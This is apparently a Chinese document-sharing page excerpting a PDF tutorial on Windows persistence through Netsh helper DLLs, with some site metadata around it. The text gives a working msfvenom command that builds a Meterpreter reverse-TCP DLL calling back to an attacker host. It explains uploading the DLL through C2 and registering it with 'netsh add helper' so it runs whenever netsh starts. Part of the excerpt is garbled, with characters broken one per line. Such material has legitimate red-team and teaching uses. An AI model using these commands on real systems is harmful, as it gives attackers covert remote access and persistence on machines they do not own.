Window权限维持（十）：Netsh_Helper_DLL1
需积分: 0 162 浏览量
2022-08-03
13:27:32
上传
评论
收藏 1.32MB PDF 举报
Netsh是Windows实用程序，管理员可以使用它来执行与系统的网络配置有关的任务，并在基于主机的
Windows防火墙上进行修改。可以通过使用DLL文件来扩展Netsh功能。此功能使红队可以使用此工具
来加载任意DLL，以实现代码执行并因此实现持久性。但是，此技术的实现需要本地管理员级别的特
权。
可以通过Metasploit Framework 的“ msfvenom ”实用程序生成任意DLL文件。
生成恶意DLL
可以通过Meterpreter的上载功能或命令和控制（C2）支持的任何其他文件传输功能将DLL文件传输到
目标主机。
上载恶意DLL
在“
添
加
帮
手
”可以用来注册用的DLL “netsh
的
”实用工具。
添加助手DLL
每次netsh实用程序启动时，都会执行DLL，并且将建立通信。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.2.21 LPORT=4444 -f
dll > /tmp/pentestlab.dll
netsh
add helper path-to-malicious-dll
评论0